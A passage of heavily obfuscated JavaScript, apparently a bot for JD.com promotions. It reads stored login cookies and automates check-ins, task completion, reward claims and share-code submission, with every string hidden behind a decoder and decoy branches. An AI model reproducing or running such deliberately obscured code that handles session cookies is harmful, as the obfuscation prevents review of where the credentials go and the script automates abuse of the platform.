1[_0xb3c9('3ec','pLk9')](safeGet,_0x4e9468)){if(_0x19b7d1[_0xb3c9('3ed','56Y[')](_0x19b7d1[_0xb3c9('3ee','p8(G')],_0x19b7d1[_0xb3c9('3ef','Xorc')])){_0x4e9468=JSON[_0xb3c9('3f0','4&jl')](_0x4e9468);console[_0xb3c9('13','7hNk')](_0x4e9468[_0xb3c9('3f1','p8(G')]);}else{date=new Date(time);}}}}else{cookiesArr[_0xb3c9('3f2','UFS%')](jdCookieNode[item]);}}catch(_0x32c6cf){if(_0x19b7d1[_0xb3c9('3f3',']q[h')](_0x19b7d1[_0xb3c9('3f4','msFj')],_0x19b7d1[_0xb3c9('3f5','eg1*')])){$[_0xb3c9('3f6','sgNu')](_0x32c6cf,_0x1adda6);}else{try{return JSON[_0xb3c9('3f7','IV4a')](str);}catch(_0x419abe){console[_0xb3c9('246','USUq')](_0x419abe);$[_0xb3c9('3f8','KqoH')]($[_0xb3c9('f8','eg1*')],'',_0x19b7d1[_0xb3c9('3f9','kKc[')]);return[];}}}finally{if(_0x19b7d1[_0xb3c9('3fa','4&jl')](_0x19b7d1[_0xb3c9('3fb','oJ7R')],_0x19b7d1[_0xb3c9('3fc','8Yzp')])){_0x19b7d1[_0xb3c9('3fd','QPLX')](_0x5d314f,_0x4e9468);}else{_0x19b7d1[_0xb3c9('3fe','FlxD')](_0x5d314f,_0x4e9468);}}}});}else{console[_0xb3c9('2af','[XP5')](''+JSON[_0xb3c9('2a7','O^Ux')](err));console[_0xb3c9('335','%YG$')]($[_0xb3c9('394','IV4a')]+_0xb3c9('3ff','IV4a'));}});}function getUserInfo(){var _0x5e9de1={'VDJbG':function(_0x3f19ae){return _0x3f19ae();},'SWNTC':function(_0x370091,_0xea727d){return _0x370091!==_0xea727d;},'YJWNk':_0xb3c9('400','O^Ux'),'RIHlj':_0xb3c9('401','8^$1'),'OSDep':function(_0x363d1f,_0x2fffea){return _0x363d1f===_0x2fffea;},'ytNBm':_0xb3c9('402','QPLX'),'FEAaQ':function(_0x1d7b9a,_0x4dfdda){return _0x1d7b9a(_0x4dfdda);},'yGkqO':_0xb3c9('403','0XYQ'),'hLxJC':_0xb3c9('404','px$D'),'bwVyX':function(_0x121f46,_0x24d9ce){return _0x121f46(_0x24d9ce);},'BEnyj':_0xb3c9('405','UFS%')};return new Promise(_0x4f2578=>{var _0x411dac={'ZWYxx':function(_0x171852){return _0x5e9de1[_0xb3c9('406','UWcU')](_0x171852);},'zXpgm':function(_0x398fee,_0x39af3f){return _0x5e9de1[_0xb3c9('407','O^Ux')](_0x398fee,_0x39af3f);},'MxErD':_0x5e9de1[_0xb3c9('408',']q[h')],'YWfwM':_0x5e9de1[_0xb3c9('409','XZos')],'bSHtX':function(_0x4e94d6,_0x2c3c09){return _0x5e9de1[_0xb3c9('40a','4&jl')](_0x4e94d6,_0x2c3c09);},'fPfDg':_0x5e9de1[_0xb3c9('40b','12Q8')],'mWUbN':function(_0x424488,_0xae7c0){return _0x5e9de1[_0xb3c9('40c','56Y[')](_0x424488,_0xae7c0);},'yvRxf':function(_0xab6509,_0xa64d75){return _0x5e9de1[_0xb3c9('40d','[XP5')](_0xab6509,_0xa64d75);},'CiUZN':function(_0x544d3e,_0x3f524e){return _0x5e9de1[_0xb3c9('40e','XZos')](_0x544d3e,_0x3f524e);},'zRjJM':_0x5e9de1[_0xb3c9('40f','lVDY')],'pbFlA':_0x5e9de1[_0xb3c9('410',']q[h')],'rgZZK':function(_0x51f4a6,_0x51df45){return _0x5e9de1[_0xb3c9('411','56Y[')](_0x51f4a6,_0x51df45);}};$[_0xb3c9('412','12Q8')](_0x5e9de1[_0xb3c9('413','UFS%')](taskUrl,_0x5e9de1[_0xb3c9('414','54E@')]),async(_0x1c884e,_0x1d487e,_0x452a96)=>{var _0xc13f5a={'nnCrB':function(_0x4cf488){return _0x411dac[_0xb3c9('415','wR@t')](_0x4cf488);}};if(_0x411dac[_0xb3c9('416',']q[h')](_0x411dac[_0xb3c9('417','KqoH')],_0x411dac[_0xb3c9('418','RRYS')])){try{if(_0x1c884e){console[_0xb3c9('a1','Us6T')](''+JSON[_0xb3c9('419','Xorc')](_0x1c884e));console[_0xb3c9('28d','xgMb')]($[_0xb3c9('16c','vGPn')]+_0xb3c9('41a','54E@'));}else{if(_0x411dac[_0xb3c9('41b','FlxD')](_0x411dac[_0xb3c9('41c','kKc[')],_0x411dac[_0xb3c9('41d','[XP5')])){if(_0x411dac[_0xb3c9('41e','FlxD')](safeGet,_0x452a96)){_0x452a96=JSON[_0xb3c9('41f','XZos')](_0x452a96);if(_0x411dac[_0xb3c9('420','pLk9')](_0x452a96[_0xb3c9('421','XZos')],0xc8)){if(_0x411dac[_0xb3c9('422','eAka')](_0x411dac[_0xb3c9('423','XZos')],_0x411dac[_0xb3c9('424','ST6I')])){$[_0xb3c9('425','UFS%')](e,_0x1d487e);}else{console[_0xb3c9('335','%YG$')](_0xb3c9('426',']q[h')+_0x452a96[_0xb3c9('427','SI8%')][_0xb3c9('428',']q[h')][_0xb3c9('429','%YG$')](/,/g,''));}}}}else{console[_0xb3c9('3e6','D[D@')](_0xb3c9('42a','O^Ux'));}}}catch(_0x427050){$[_0xb3c9('42b','IV4a')](_0x427050,_0x1d487e);}finally{_0x411dac[_0xb3c9('42c','lVDY')](_0x4f2578,_0x452a96);}}else{_0xc13f5a[_0xb3c9('42d','QPLX')](_0x4f2578);}});});}function sign(_0x184cd3=_0xb3c9('42e','Tq0]')){var _0x24769a={'VVovK':function(_0x18309e,_0x2fc292){return _0x18309e===_0x2fc292;},'fnIjS':function(_0x318ae5,_0x1f4990){return _0x318ae5(_0x1f4990);},'kpcQg':function(_0x226854,_0x1d4281){return _0x226854==_0x1d4281;},'OiKYP':_0xb3c9('42f','12Q8'),'CvsNt':_0xb3c9('430','8Yzp'),'YHkjI':_0xb3c9('431','wR@t'),'LXSCQ':_0xb3c9('432','px$D'),'nvnYq':function(_0xe29373,_0x990a83){return _0xe29373!==_0x990a83;},'XfKkU':function(_0x181016,_0x491422){return _0x181016===_0x491422;},'MXwcO':_0xb3c9('433','A&sp'),'dCLwW':function(_0x48be6f,_0x5be42b){return _0x48be6f!==_0x5be42b;},'VOgvg':_0xb3c9('434','UWcU'),'iyKOJ':function(_0x352285,_0x43776d){return _0x352285===_0x43776d;},'RPqbG':_0xb3c9('435','p8(G'),'fGJlG':_0xb3c9('436','kKc['),'oWJOr':_0xb3c9('437','kKc['),'gqwCd':_0xb3c9('438','12Q8'),'jJXOg':_0xb3c9('439','j]ox'),'WkJgC':function(_0x179452,_0x4bb07f,_0x32ee1d){return _0x179452(_0x4bb07f,_0x32ee1d);},'gNbGv':_0xb3c9('43a',']q[h'),'KtaDz':function(_0x318fec,_0x2953bf){return _0x318fec*_0x2953bf;}};_0x184cd3=shareCodes[Math[_0xb3c9('43b','bu#e')](_0x24769a[_0xb3c9('43c','FlxD')](Math[_0xb3c9('43d','%YG$')](),shareCodes[_0xb3c9('43e','vGPn')]))];return new Promise(_0x461531=>{var _0x50e7cc={'LWTEC':function(_0x15049f,_0xcef00d){return _0x24769a[_0xb3c9('43f','RRYS')](_0x15049f,_0xcef00d);},'ePirv':function(_0x196d0f,_0x1d4567){return _0x24769a[_0xb3c9('440','kKc[')](_0x196d0f,_0x1d4567);},'vYLtb':function(_0x119068,_0x5cdada){return _0x24769a[_0xb3c9('441','12Q8')](_0x119068,_0x5cdada);},'DkrTq':_0x24769a[_0xb3c9('442','Hi&L')],'JmJGT':_0x24769a[_0xb3c9('443','8Yzp')],'tQdyT':_0x24769a[_0xb3c9('444','UFS%')],'bMhiW':_0x24769a[_0xb3c9('445','Us6T')],'RzhNS':function(_0x2c2273,_0x17c6ce){return _0x24769a[_0xb3c9('446','8^$1')](_0x2c2273,_0x17c6ce);},'IFPwZ':function(_0x5c5c32,_0x28ac19){return _0x24769a[_0xb3c9('447','lVDY')](_0x5c5c32,_0x28ac19);},'pqYud':function(_0xa95315,_0x44ae7d){return _0x24769a[_0xb3c9('448','Hi&L')](_0xa95315,_0x44ae7d);},'JZSwL':_0x24769a[_0xb3c9('449','Us6T')],'MqThw':function(_0x1e6346,_0x1d084d){return _0x24769a[_0xb3c9('44a','W%VK')](_0x1e6346,_0x1d084d);},'SweiM':_0x24769a[_0xb3c9('44b','UWcU')],'svnby':function(_0x416591,_0x171764){return _0x24769a[_0xb3c9('44c','xgMb')](_0x416591,_0x171764);},'BmhTU':_0x24769a[_0xb3c9('44d','sgNu')],'wZNCy':function(_0x419bde,_0x4acdb0){return _0x24769a[_0xb3c9('44e','A)dp')](_0x419bde,_0x4acdb0);},'ekbAj':_0x24769a[_0xb3c9('44f','O^Ux')],'ineHg':function(_0x3919be,_0x235757){return _0x24769a[_0xb3c9('450','D[D@')](_0x3919be,_0x235757);},'CGyXN':function(_0x62b956,_0x21d759){return _0x24769a[_0xb3c9('451','56Y[')](_0x62b956,_0x21d759);},'bWBQP':_0x24769a[_0xb3c9('452','56Y[')],'Pjrpt':_0x24769a[_0xb3c9('453','A&sp')],'AtNvH':function(_0x2ada76,_0x5246ba){return _0x24769a[_0xb3c9('454','XZos')](_0x2ada76,_0x5246ba);}};if(_0x24769a[_0xb3c9('455','UWcU')](_0x24769a[_0xb3c9('456','xgMb')],_0x24769a[_0xb3c9('457','56Y[')])){data=JSON[_0xb3c9('100','Us6T')](data);if(_0x50e7cc[_0xb3c9('458','4&jl')](data[_0xb3c9('459','lVDY')],0xc8)){$['db']+=data[_0xb3c9('45a','Us6T')][_0xb3c9('45b','12Q8')];console[_0xb3c9('2af','[XP5')](_0xb3c9('45c','[XP5')+data[_0xb3c9('226','ST6I')][_0xb3c9('45d','wR@t')]+_0xb3c9('45e','SI8%'));}else{console[_0xb3c9('139','8Yzp')](_0xb3c9('45f','pLk9')+data[_0xb3c9('460','12Q8')]);}}else{$[_0xb3c9('461','eg1*')](_0x24769a[_0xb3c9('462','j]ox')](taskPostUrl,_0x24769a[_0xb3c9('463','KqoH')],_0xb3c9('464','56Y[')+_0x184cd3),async(_0x398ced,_0x30ef48,_0x32f4be)=>{if(_0x50e7cc[_0xb3c9('465','QPLX')](_0x50e7cc[_0xb3c9('466','*IUv')],_0x50e7cc[_0xb3c9('467','eAka')])){console[_0xb3c9('13','7hNk')](''+JSON[_0xb3c9('f6','lVDY')](_0x398ced));console[_0xb3c9('93','54E@')]($[_0xb3c9('468','bu#e')]+_0xb3c9('301','A&sp'));}else{try{if(_0x50e7cc[_0xb3c9('469','UWcU')](_0x50e7cc[_0xb3c9('46a','Xorc')],_0x50e7cc[_0xb3c9('46b','IV4a')])){_0x50e7cc[_0xb3c9('46c','A)dp')](_0x461531,_0x32f4be);}else{if(_0x398ced){if(_0x50e7cc[_0xb3c9('46d','RRYS')](_0x50e7cc[_0xb3c9('46e','%YG$')],_0x50e7cc[_0xb3c9('46f','12Q8')])){console[_0xb3c9('84','x1NV')](''+JSON[_0xb3c9('470','sgNu')](_0x398ced));console[_0xb3c9('77','8^$1')]($[_0xb3c9('471','Us6T')]+_0xb3c9('472','pLk9'));}else{if(_0x50e7cc[_0xb3c9('473','A&sp')](typeof str,_0x50e7cc[_0xb3c9('474','x1NV')])){try{return JSON[_0xb3c9('41f','XZos')](str);}catch(_0x1b6c79){console[_0xb3c9('15a','j]ox')](_0x1b6c79);$[_0xb3c9('128','O^Ux')]($[_0xb3c9('475','ST6I')],'',_0x50e7cc[_0xb3c9('476','8Yzp')]);return[];}}}}else{if(_0x50e7cc[_0xb3c9('477','bu#e')](safeGet,_0x32f4be)){if(_0x50e7cc[_0xb3c9('478','eg1*')](_0x50e7cc[_0xb3c9('479','56Y[')],_0x50e7cc[_0xb3c9('47a','Hi&L')])){for(let _0x16ab05 of $[_0xb3c9('47b','USUq')]){message+=_0x16ab05[_0x50e7cc[_0xb3c9('47c','RRYS')]]+_0xb3c9('47d','kKc[')+_0x16ab05[_0x50e7cc[_0xb3c9('47e','UWcU')]]+'】\x0a';}allMessage+=_0xb3c9('47f','USUq')+$[_0xb3c9('480','56Y[')]+$[_0xb3c9('481','0XYQ')]+'\x0a'+message+(_0x50e7cc[_0xb3c9('482','xgMb')]($[_0xb3c9('483','XZos')],cookiesArr[_0xb3c9('43e','vGPn')])?'\x0a\x0a':'');}else{_0x32f4be=JSON[_0xb3c9('484','pLk9')](_0x32f4be);if(_0x50e7cc[_0xb3c9('485','12Q8')](_0x32f4be[_0xb3c9('486','x1NV')],0xc8)){if(_0x50e7cc[_0xb3c9('487','wR@t')](_0x50e7cc[_0xb3c9('488','KqoH')],_0x50e7cc[_0xb3c9('489','IV4a')])){$['db']+=_0x32f4be[_0xb3c9('48a','XZos')][_0xb3c9('48b','*IUv')];console[_0xb3c9('77','8^$1')](_0xb3c9('48c','msFj')+_0x32f4be[_0xb3c9('309','KqoH')][_0xb3c9('48d','lVDY')]+_0xb3c9('48e','56Y['));}else{if(_0x50e7cc[_0xb3c9('48f','8^$1')](safeGet,_0x32f4be)){_0x32f4be=JSON[_0xb3c9('bf','msFj')](_0x32f4be);if(_0x50e7cc[_0xb3c9('490','KqoH')](_0x32f4be[_0xb3c9('491','kKc[')],0xc8)){$['db']+=_0x32f4be[_0xb3c9('492','px$D')][_0xb3c9('3e8','BA!&')];console[_0xb3c9('26a',']q[h')](_0xb3c9('493','0XYQ')+_0x32f4be[_0xb3c9('1cf','sgNu')][_0xb3c9('45d','wR@t')]+_0xb3c9('494','kKc['));}else{console[_0xb3c9('158','RRYS')](_0xb3c9('495','kKc[')+_0x32f4be[_0xb3c9('496','Tq0]')]);}}}}else{console[_0xb3c9('37','eg1*')](_0xb3c9('497','lVDY')+_0x32f4be[_0xb3c9('498','px$D')]);}}}}}}catch(_0x4aa0bc){$[_0xb3c9('499','54E@')](_0x4aa0bc,_0x30ef48);}finally{_0x50e7cc[_0xb3c9('49a','0XYQ')](_0x461531,_0x32f4be);}}});}});}function awardRun(){var _0xf1888={'TQEcv':function(_0x36c1b8,_0x2ec2eb){return _0x36c1b8==_0x2ec2eb;},'qYvIU':_0xb3c9('49b','D[D@'),'OTcev':function(_0x2d0b2c,_0x4cbbb4){return _0x2d0b2c===_0x4cbbb4;},'YXvFI':_0xb3c9('49c','%YG$'),'RxnPO':_0xb3c9('49d','4&jl'),'JZTXi':function(_0x4fc729,_0x2c44e4){return _0x4fc729===_0x2c44e4;},'VTjym':_0xb3c9('49e','54E@'),'gNgHy':function(_0x1b8bef,_0x291073){return _0x1b8bef!==_0x291073;},'ourBh':_0xb3c9('49f','%YG$'),'hLLDZ':_0xb3c9('4a0','x1NV'),'nQGzb':function(_0x2af415,_0x458334){return _0x2af415(_0x458334);},'jOvOq':function(_0x114f44,_0x297ef7){return _0x114f44===_0x297ef7;},'wwkwE':_0xb3c9('4a1','Tq0]'),'xwYbN':function(_0x1a8cb4,_0x263b9){return _0x1a8cb4===_0x263b9;},'HYhLs':_0xb3c9('4a2','*IUv'),'IpraU':_0xb3c9('4a3','msFj'),'hSitc':_0xb3c9('4a4','BA!&'),'usvGZ':_0xb3c9('4a5','A&sp'),'yClaD':function(_0x490c66,_0x1b092b,_0x515de8){return _0x490c66(_0x1b092b,_0x515de8);},'tHqDY':_0xb3c9('4a6','W%VK'),'suPHu':function(_0x59bcb6,_0x3b7f59){return _0x59bcb6+_0x3b7f59;},'DVPEF':function(_0x15cb9b,_0x44de7e){return _0x15cb9b*_0x44de7e;}};return new Promise(_0x4d6499=>{var _0x356b92={'thoah':_0xf1888[_0xb3c9('4a7','p8(G')],'MsFoD':_0xf1888[_0xb3c9('4a8','UWcU')]};$[_0xb3c9('4a9','XZos')](_0xf1888[_0xb3c9('4aa','pLk9')](taskPostUrl,_0xf1888[_0xb3c9('4ab','D[D@')],_0xb3c9('4ac','XZos')+_0xf1888[_0xb3c9('4ad','7hNk')](Math[_0xb3c9('4ae','D[D@')](_0xf1888[_0xb3c9('4af','W%VK')](Math[_0xb3c9('4b0','UFS%')](),0x1388)),0x4a38)),async(_0x56e69a,_0x5b5ded,_0x274382)=>{var _0x302778={'PWYgZ':function(_0x2427d5,_0x10520c){return _0xf1888[_0xb3c9('4b1','UFS%')](_0x2427d5,_0x10520c);},'OJtQI':_0xf1888[_0xb3c9('4b2','oJ7R')]};try{if(_0xf1888[_0xb3c9('4b3','Us6T')](_0xf1888[_0xb3c9('4b4','lVDY')],_0xf1888[_0xb3c9('4b5','ST6I')])){$[_0xb3c9('4b6','Hi&L')](e,_0x5b5ded);}else{if(_0x56e69a){if(_0xf1888[_0xb3c9('4b7','#5oK')](_0xf1888[_0xb3c9('4b8','7hNk')],_0xf1888[_0xb3c9('4b9','Xorc')])){console[_0xb3c9('16d','msFj')](''+JSON[_0xb3c9('4ba','Us6T')](_0x56e69a));console[_0xb3c9('11e','p8(G')]($[_0xb3c9('4bb','8Yzp')]+_0xb3c9('bd','%YG$'));}else{return!![];}}else{if(_0xf1888[_0xb3c9('4bc','Us6T')](_0xf1888[_0xb3c9('4bd','8Yzp')],_0xf1888[_0xb3c9('4be','[XP5')])){if(_0xf1888[_0xb3c9('4bf','Us6T')](safeGet,_0x274382)){if(_0xf1888[_0xb3c9('4c0','7hNk')](_0xf1888[_0xb3c9('4c1','D[D@')],_0xf1888[_0xb3c9('4c2','eg1*')])){_0x274382=JSON[_0xb3c9('74','54E@')](_0x274382);if(_0xf1888[_0xb3c9('4c3','W%VK')](_0x274382[_0xb3c9('4c4','j]ox')],0xc8)){if(_0xf1888[_0xb3c9('4c5','vGPn')](_0xf1888[_0xb3c9('4c6','8Yzp')],_0xf1888[_0xb3c9('4c7','4&jl')])){if(_0x302778[_0xb3c9('4c8','sgNu')](typeof JSON[_0xb3c9('4c9','KqoH')](_0x274382),_0x302778[_0xb3c9('4ca','#5oK')])){return!![];}}else{$['db']+=_0x274382[_0xb3c9('4cb','O^Ux')][_0xb3c9('4cc','vGPn')];console[_0xb3c9('13','7hNk')](_0xb3c9('4cd','W%VK')+_0x274382[_0xb3c9('4ce','[XP5')][_0xb3c9('3e5','D[D@')]+_0xb3c9('4cf','A)dp'));}}else{console[_0xb3c9('13','7hNk')](_0xb3c9('4d0','eg1*')+_0x274382[_0xb3c9('339','lVDY')]);}}else{console[_0xb3c9('c0','QPLX')](_0xb3c9('4d1','FlxD'));}}}else{$[_0xb3c9('21d','IV4a')](vo[_0x356b92[_0xb3c9('4d2','4&jl')]]+_0xb3c9('4d3','BA!&')+vo[_0x356b92[_0xb3c9('4d4','7hNk')]]+'】');}}}}catch(_0x2156da){$[_0xb3c9('4d5','4&jl')](_0x2156da,_0x5b5ded);}finally{_0xf1888[_0xb3c9('4d6','j]ox')](_0x4d6499,_0x274382);}});});}function accomplishTask(_0x330b2a=0x1f5){var _0x185b55={'PphKB':function(_0x107e9c,_0x9de4a7){return _0x107e9c===_0x9de4a7;},'mjkAR':_0xb3c9('4d7','8Yzp'),'FdQGO':_0xb3c9('4d8','12Q8'),'YQGRL':function(_0x5f20dc,_0x17624b){return _0x5f20dc(_0x17624b);},'Yhuol':function(_0x1e131d,_0x1fb9f0){return _0x1e131d===_0x1fb9f0;},'rcNBZ':function(_0x15cb4c,_0x139fbb){return _0x15cb4c(_0x139fbb);},'wOQlU':function(_0x5e26d5,_0xc7fd86,_0x1c784c){return _0x5e26d5(_0xc7fd86,_0x1c784c);},'EUWlk':_0xb3c9('4d9','Us6T')};return new Promise(_0x104913=>{var _0x1e67c4={'sbvxv':function(_0x1e2132,_0x5375f1){return _0x185b55[_0xb3c9('4da','UWcU')](_0x1e2132,_0x5375f1);},'YYfNL':_0x185b55[_0xb3c9('4db','wR@t')],'SmBTu':_0x185b55[_0xb3c9('4dc','[XP5')],'doJiB':function(_0x7a93a3,_0x143fab){return _0x185b55[_0xb3c9('4dd','54E@')](_0x7a93a3,_0x143fab);},'ZDbPh':function(_0x8ce00c,_0x5b4161){return _0x185b55[_0xb3c9('4de','8^$1')](_0x8ce00c,_0x5b4161);},'KtzZw':function(_0x16bfd0,_0x28eb9c){return _0x185b55[_0xb3c9('4df','D[D@')](_0x16bfd0,_0x28eb9c);}};$[_0xb3c9('4e0','*IUv')](_0x185b55[_0xb3c9('4e1','8^$1')](taskPostUrl,_0x185b55[_0xb3c9('4e2','KqoH')],_0xb3c9('4e3','Tq0]')+_0x330b2a),async(_0xd8ada,_0x3ad2dc,_0x3fda32)=>{if(_0x1e67c4[_0xb3c9('4e4',']q[h')](_0x1e67c4[_0xb3c9('4e5','KqoH')],_0x1e67c4[_0xb3c9('4e6','0XYQ')])){$[_0xb3c9('3f6','sgNu')](e,_0x3ad2dc);}else{try{if(_0xd8ada){console[_0xb3c9('139','8Yzp')](''+JSON[_0xb3c9('2d3','XZos')](_0xd8ada));console[_0xb3c9('2a6','ST6I')]($[_0xb3c9('4e7','x1NV')]+_0xb3c9('4e8','sgNu'));}else{if(_0x1e67c4[_0xb3c9('4e9','Tq0]')](safeGet,_0x3fda32)){_0x3fda32=JSON[_0xb3c9('4ea','Tq0]')](_0x3fda32);if(_0x1e67c4[_0xb3c9('4eb','UWcU')](_0x3fda32[_0xb3c9('4ec','*IUv')],0xc8)){console[_0xb3c9('c5','O^Ux')](_0xb3c9('4ed','msFj'));}else{console[_0xb3c9('11e','p8(G')](_0xb3c9('4ee','sgNu')+_0x3fda32[_0xb3c9('4ef','D[D@')]);}}}}catch(_0x5887d4){$[_0xb3c9('4f0','wR@t')](_0x5887d4,_0x3ad2dc);}finally{_0x1e67c4[_0xb3c9('4f1','x1NV')](_0x104913,_0x3fda32);}}});});}function awardTask(_0x4b6d8f=0x1f5){var _0x7246f0={'WHGsU':function(_0x4a2740,_0x8426a1){return _0x4a2740!==_0x8426a1;},'ZsvaR':_0xb3c9('4f2','A&sp'),'pOcJs':_0xb3c9('4f3','XZos'),'bYvOu':function(_0x58b414,_0x9e64ea){return _0x58b414(_0x9e64ea);},'IBuUj':_0xb3c9('4f4','0XYQ'),'zfFIh':_0xb3c9('4f5','W%VK'),'Futou':function(_0x831928,_0x49dabf){return _0x831928===_0x49dabf;},'SaSli':function(_0x135335,_0x436988){return _0x135335===_0x436988;},'SRZun':_0xb3c9('4f6','eg1*'),'Fxibw':_0xb3c9('4f7','IV4a'),'MHHWX':function(_0x331bcb,_0x5cf311){return _0x331bcb(_0x5cf311);},'jjnET':function(_0x2bb72b,_0x5e04e1,_0x4cc73e){return _0x2bb72b(_0x5e04e1,_0x4cc73e);},'nnIWc':_0xb3c9('4f8','x1NV')};return new Promise(_0x5114ff=>{var _0x24bd21={'MBGxU':function(_0x4c8dbc,_0x53c4bd){return _0x7246f0[_0xb3c9('4f9',']q[h')](_0x4c8dbc,_0x53c4bd);},'ocQIo':_0x7246f0[_0xb3c9('4fa','BA!&')],'aKnHj':_0x7246f0[_0xb3c9('4fb',']q[h')],'wtVVV':function(_0x391612,_0x5f146){return _0x7246f0[_0xb3c9('4fc',']q[h')](_0x391612,_0x5f146);},'PacMn':_0x7246f0[_0xb3c9('4fd','xgMb')],'xKtET':_0x7246f0[_0xb3c9('4fe','A&sp')],'SKXqb':function(_0xc790c6,_0x2a3ac8){return _0x7246f0[_0xb3c9('4ff','ST6I')](_0xc790c6,_0x2a3ac8);},'enDEb':function(_0x558ed0,_0x1df74a){return _0x7246f0[_0xb3c9('500','KqoH')](_0x558ed0,_0x1df74a);},'QwzCb':_0x7246f0[_0xb3c9('501','RRYS')],'GEHUP':_0x7246f0[_0xb3c9('502','8^$1')],'YsKpH':function(_0xba8039,_0x12b7c1){return _0x7246f0[_0xb3c9('503','7hNk')](_0xba8039,_0x12b7c1);}};$[_0xb3c9('504','lVDY')](_0x7246f0[_0xb3c9('505','ST6I')](taskPostUrl,_0x7246f0[_0xb3c9('506','7hNk')],_0xb3c9('507','4&jl')+_0x4b6d8f),async(_0x376672,_0x5a3151,_0x370043)=>{if(_0x24bd21[_0xb3c9('508',']q[h')](_0x24bd21[_0xb3c9('509','54E@')],_0x24bd21[_0xb3c9('50a','eAka')])){try{if(_0x376672){console[_0xb3c9('84','x1NV')](''+JSON[_0xb3c9('50b','j]ox')](_0x376672));console[_0xb3c9('16d','msFj')]($[_0xb3c9('129','UFS%')]+_0xb3c9('50c','x1NV'));}else{if(_0x24bd21[_0xb3c9('50d','Tq0]')](safeGet,_0x370043)){if(_0x24bd21[_0xb3c9('50e','UWcU')](_0x24bd21[_0xb3c9('50f','ST6I')],_0x24bd21[_0xb3c9('510','px$D')])){_0x370043=JSON[_0xb3c9('2d6','oJ7R')](_0x370043);if(_0x24bd21[_0xb3c9('511','kKc[')](_0x370043[_0xb3c9('36d','wR@t')],0xc8)){$['db']+=_0x370043[_0xb3c9('104','USUq')][_0xb3c9('512','56Y[')];console[_0xb3c9('93','54E@')](_0xb3c9('513','oJ7R')+_0x370043[_0xb3c9('309','KqoH')][_0xb3c9('514','msFj')]+_0xb3c9('515','QPLX'));}else{if(_0x24bd21[_0xb3c9('516','#5oK')](_0x24bd21[_0xb3c9('517','xgMb')],_0x24bd21[_0xb3c9('518','UWcU')])){console[_0xb3c9('519','Tq0]')](''+JSON[_0xb3c9('51a','wR@t')](_0x376672));console[_0xb3c9('93','54E@')]($[_0xb3c9('336','Xorc')]+_0xb3c9('fe','W%VK'));}else{console[_0xb3c9('28b','Xorc')](_0xb3c9('51b','QPLX')+_0x370043[_0xb3c9('31a','BA!&')]);}}}else{_0x370043=JSON[_0xb3c9('51c','D[D@')](_0x370043);console[_0xb3c9('51d','*IUv')](_0x370043[_0xb3c9('36b','bu#e')]);}}}}catch(_0x47547d){$[_0xb3c9('373','vGPn')](_0x47547d,_0x5a3151);}finally{_0x24bd21[_0xb3c9('51e','pLk9')](_0x5114ff,_0x370043);}}else{console[_0xb3c9('3e6','D[D@')](_0xb3c9('51f','bu#e')+_0x370043[_0xb3c9('520','W%VK')][_0xb3c9('521','A)dp')][_0xb3c9('522','W%VK')](/,/g,''));}});});}function getMyWinningInformation(){var _0x1a8f91={'vFJPJ':function(_0x21a8fe,_0x36c037){return _0x21a8fe!==_0x36c037;},'JBWWz':_0xb3c9('523','0XYQ'),'ibbZr':function(_0x242b5f,_0x411703){return _0x242b5f===_0x411703;},'zYchN':_0xb3c9('524','#5oK'),'OlmSb':function(_0x1e3ff6,_0x2fe720){return _0x1e3ff6(_0x2fe720);},'Tnadz':_0xb3c9('421','XZos'),'QTJtt':_0xb3c9('da','56Y['),'lZvjg':_0xb3c9('525','*IUv'),'PECQq':_0xb3c9('526','eAka'),'oEysu':function(_0x4277f7,_0x234464){return _0x4277f7!==_0x234464;},'PSvzo':_0xb3c9('527','QPLX'),'ncyvE':_0xb3c9('528','O^Ux'),'mHKOs':_0xb3c9('529','UFS%'),'uDwkL':function(_0x115928){return _0x115928();},'shvGd':function(_0x86e141,_0x1db3b9){return _0x86e141(_0x1db3b9);},'rIhhV':_0xb3c9('52a','IV4a')};$[_0xb3c9('52b','p8(G')]=[];return new Promise(_0x5d6c3b=>{var _0x2962a7={'MqmGs':function(_0x39818c,_0x577a38){return _0x1a8f91[_0xb3c9('52c','px$D')](_0x39818c,_0x577a38);}};$[_0xb3c9('52d','8Yzp')](_0x1a8f91[_0xb3c9('52e','*IUv')](taskUrl,_0x1a8f91[_0xb3c9('52f','BA!&')]),async(_0xaccb99,_0x59e9bd,_0x189d20)=>{if(_0x1a8f91[_0xb3c9('530','ST6I')](_0x1a8f91[_0xb3c9('531','lVDY')],_0x1a8f91[_0xb3c9('532','eg1*')])){console[_0xb3c9('12d','56Y[')](''+JSON[_0xb3c9('533','xgMb')](_0xaccb99));console[_0xb3c9('534','kKc[')]($[_0xb3c9('134','UWcU')]+_0xb3c9('41a','54E@'));}else{try{if(_0x1a8f91[_0xb3c9('535','UFS%')](_0x1a8f91[_0xb3c9('536','*IUv')],_0x1a8f91[_0xb3c9('537',']q[h')])){if(_0xaccb99){console[_0xb3c9('a1','Us6T')](''+JSON[_0xb3c9('132','[XP5')](_0xaccb99));console[_0xb3c9('c5','O^Ux')]($[_0xb3c9('538','W%VK')]+_0xb3c9('539','SI8%'));}else{if(_0x1a8f91[_0xb3c9('53a','sgNu')](safeGet,_0x189d20)){_0x189d20=JSON[_0xb3c9('53b','0XYQ')](_0x189d20);if(_0x1a8f91[_0xb3c9('53c','j]ox')](_0x189d20[_0x1a8f91[_0xb3c9('53d','ST6I')]],0xc8)){$[_0xb3c9('53e','BA!&')]=_0x189d20[_0x1a8f91[_0xb3c9('53f','px$D')]];for(let _0x2cbaf8 of $[_0xb3c9('540','#5oK')]){$[_0xb3c9('11e','p8(G')](_0x2cbaf8[_0x1a8f91[_0xb3c9('541','j]ox')]]+_0xb3c9('542','W%VK')+_0x2cbaf8[_0x1a8f91[_0xb3c9('543','j]ox')]]+'】');}$[_0xb3c9('544','sgNu')]=$[_0xb3c9('545','O^Ux')][_0xb3c9('546','A&sp')](_0xf84dfe=>!!_0xf84dfe&&(_0xf84dfe[_0xb3c9('547','8Yzp')][_0xb3c9('548','UFS%')](0x0,0x6)===timeFormat()||_0xf84dfe[_0xb3c9('549','12Q8')][_0xb3c9('54a','RRYS')](0x0,0x6)===timeFormat(Date[_0xb3c9('54b','RRYS')]()-0x18*0x3c*0x3c*0x3e8)));$[_0xb3c9('54c','54E@')]=$[_0xb3c9('52b','p8(G')][_0xb3c9('54d','Hi&L')](_0xc89af=>!!_0xc89af&&!_0xc89af[_0xb3c9('54e','A)dp')][_0xb3c9('54f','W%VK')]('京豆'));if($[_0xb3c9('550','x1NV')]&&$[_0xb3c9('551','pLk9')][_0xb3c9('3a','pLk9')]){if(_0x1a8f91[_0xb3c9('552','lVDY')](_0x1a8f91[_0xb3c9('553','USUq')],_0x1a8f91[_0xb3c9('